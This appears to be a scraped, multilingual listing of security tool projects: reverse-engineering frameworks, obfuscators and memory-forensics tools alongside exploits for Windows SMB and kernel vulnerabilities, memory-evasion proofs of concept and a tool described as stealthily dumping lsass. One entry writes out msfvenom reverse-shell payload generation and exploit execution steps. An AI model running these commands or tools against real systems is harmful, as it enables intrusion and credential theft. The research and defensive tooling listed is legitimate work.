retoolkit

Werkzeugkasten für Reverse Engineers Was ist das? Dies ist eine Sammlung von Werkzeugen, die Ihnen gefallen könnte, wenn Sie sich für Reverse Engineering und/oder Malware-Analyse auf x86- und x64-Windows-Systemen interessieren. Nach der Installation dieses Programms haben Sie zwei Möglichkeiten,...

Cobaltstrike-MS17-010

Cobaltstrike Aggressor 스크립트 ms17-010 익스플로잇 도구 및 스캐너. 1. cobaltstrike의 루트 폴더에 파일을 다운로드하세요. 2. "aggressor.cna"를 가져오세요. ms17-010 익스플로잇 도구는 win7 x64와 win2008 r2만 지원합니다. pwn/Invoke-EternalBlue.ps1 — Empire에서 getinfo/Invoke-EternalScan.ps1 — @vletoux에서 getinfo/Invoke-LoginPrompt.ps1 — Empire에서 테스트 사진：...

DeepSleep

DeepSleep Eine Variante von Gargoyle für x64, die Speicherartefakte nur mit ROP und PIC verbirgt. Großer Dank geht an @waldoirc für die Dokumentation großer Teile dieser Technik in seinem Blog Diese Implementierung unterscheidet sich dadurch, dass sie keine APCs verwendet und vollständig als PIC...

RustChain

Beschreibung Dieses Tool ist ein einfacher PoC, wie man Speicherartefakte mit einer ROP-Kette in Kombination mit Hardware-Breakpoints verstecken kann. Die ROP-Kette ändert die Speicherseitenschutz des Hauptmoduls auf N/A nicht zugänglich während des Schlafens d.h. wenn die Funktion Sleep aufgeruf...

SILVERPICK

SILVERPICK संस्करण v1.1 संक्षिप्त विवरण SILVERPICK परियोजना एक Windows User-Mode Shellcode Development Framework WUMSDF है, जिसका एकमात्र उद्देश्य क्षमता डेवलपर्स को C/C++ का उपयोग करके Windows x64 के लिए Position Independent Code PIC ब्लॉब्स को आसान तरीके से बनाने में सक्षम बनाना है, ताकि इस तरह...

EagleVM

EagleVM ملعب لتوليد تجميع x64 محمي بواسطة الآلة الافتراضية. تفصيل المشروع EagleVM التطبيق الرئيسي للحماية الذي يقوم بتحويل التعليمات البرمجية إلى كود ظاهري. EagleVM.Core مكتبة ثابتة يستخدمها EagleVM توفر جميع وظائف الظاهريًة والتحليل. EagleVM.Sandbox مشروع للاختبار المستقبلي على الملفات الثنائية...

patriot

Patriot Small research project for detecting various kinds of in-memory stealth techniques. Download the latest release here. The current version supports the following detections: Suspicious CONTEXT structures pointing to VirtualProtect functions. Targets research by Austin Hudson Foliage and Ek...

CVE-2020-0796-LPE-EXP

CVE-2020-0796-LPE-EXP Windows SMBv3 LPE exploit 컴파일 버전 원본 프로젝트: https://github.com/danigargu/CVE-2020-0796 컴파일 환경: Win10 1909, VS2019 x64 버전 Exp는 테스트했으며, x86 버전은 환경이 없어 테스트하지 않았습니다...

barf-project

BARF : Binary Analysis and Reverse engineering Framework The analysis of binary code is a crucial activity in many areas of the computer sciences and software engineering disciplines ranging from software security and program analysis to reverse engineering. Manual binary analysis is a difficult...

vmpdump

VMPDump Ein dynamischer VMP-Dumper und Import-Fixer, angetrieben von VTIL. Funktioniert für VMProtect 3.X x64. Vorher vs Nachher Verwendung VMPDump.exe "" -ep= -disable-reloc Argumente: : Die ID des Zielprozesses, in dezimaler oder hexadezimaler Form. : Der Name des Moduls, das gedumpt und gefixt...

Alcatraz

Alcatraz Alcatraz é um ofuscador binário x64 capaz de ofuscar vários tipos de arquivos PE, incluindo: .exe .dll .sys Visão Geral Alcatraz Requisitos Uso Funcionalidades Ofuscação de movimentos imediatos Achatamento de fluxo de controle Mutação ADD Ofuscação do ponto de entrada Ofuscação de LEA...

cve-2018-8120

CVE-2018-8120 win7 x64 Referência https://github.com/unamer/CVE-2018-8120 https://github.com/FuzzySecurity/PSKernel-Primitives...

cve-2022-3218

Passo 1 — Criar um payload REAL Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Passo 2 — Servir o payload via HTTP No mesmo diretório: python3 -m http.server 80 Passo 3 — Ajustar o exploit Execute assim: python3 CVE-2022-3218.py 172.20.7.185...

Linpmem

Linpmem -- ein Tool zur Erfassung des physischen Arbeitsspeichers für Linux Linpmem ist ein reines Linux-x64-Tool zum Lesen des physischen Arbeitsspeichers. Wie sein Windows-Pendant Winpmem ist dies kein traditioneller Memory-Dumper. Linpmem bietet eine API zum Lesen von jeder physischen Adresse,...

Stryker

Stryker Ferramenta de prova de conceito multiuso baseada em CPU-Z CVE-2017-15303 Requisitos do Sistema Windows 7/8/8.1/10 x64; Stryker foi projetado apenas para Windows x64; É necessário privilégio de administrador. Funcionalidades Sobrescritor de Imposição de Assinatura de Driver similar a DSEFI...

cve-2016-0095-x64

cve-2016-0095-x64 windows 7 Ultimate Ultimate x64 poc of cve-2016-0095MS16-034 Iniciante começa a aprender CVE, referência: https://whereisk0shl.top/ssctfpwn450windowskernelexploitationwriteup.html um artigo, e o código do mestre k0shl em https://github.com/k0keoyo/SSCTF-pwn450-ms16-034-writeup...

ropium

نبذة ROPium سابقًا ROPGenerator هي مكتبة/أداة تُسهّل استغلال ROP. تقوم تلقائيًا باستخراج وتحليل الـ gadgets من الملفات الثنائية وتتيح لك العثور على سلاسل ROP باستخدام استعلامات دلالية. يدعم ROPium بنيتي X86 و X64 ، وسيتم تمديده قريبًا ليشمل ARM. الميزات الرئيسية: سهولة الاستخدام : يعمل ROPium فور...

MSDIA-x64

Installez le redistribuable Visual C++ à partir d'ici : https://go.microsoft.com/fwlink/?LinkId=746572 2. Exécutez install.bat en tant qu'administrateur...

peafl64

Visão geral O peafl64 é uma ferramenta de instrumentação estática para PEs x64 no Windows. Instrumentação estática é a prática de editar arquivos executáveis e adicionar código em locais específicos deles. A instrumentação adiciona código ao início de cada bloco básico no binário, registrando o...

TrollDump

TrollDump setwindowshook का उपयोग करके x64 managed DLL को x64 managed/unmanaged प्रोसेस में inject करता है प्रोसेस में GUI होना आवश्यक है क्योंकि हम उसका windows handle प्राप्त करते हैं यहाँ एक TROLL के रूप में, हम hidden window taskmgr में inject करते हैं ताकि lsass dump बिना पकड़े किया जा सके...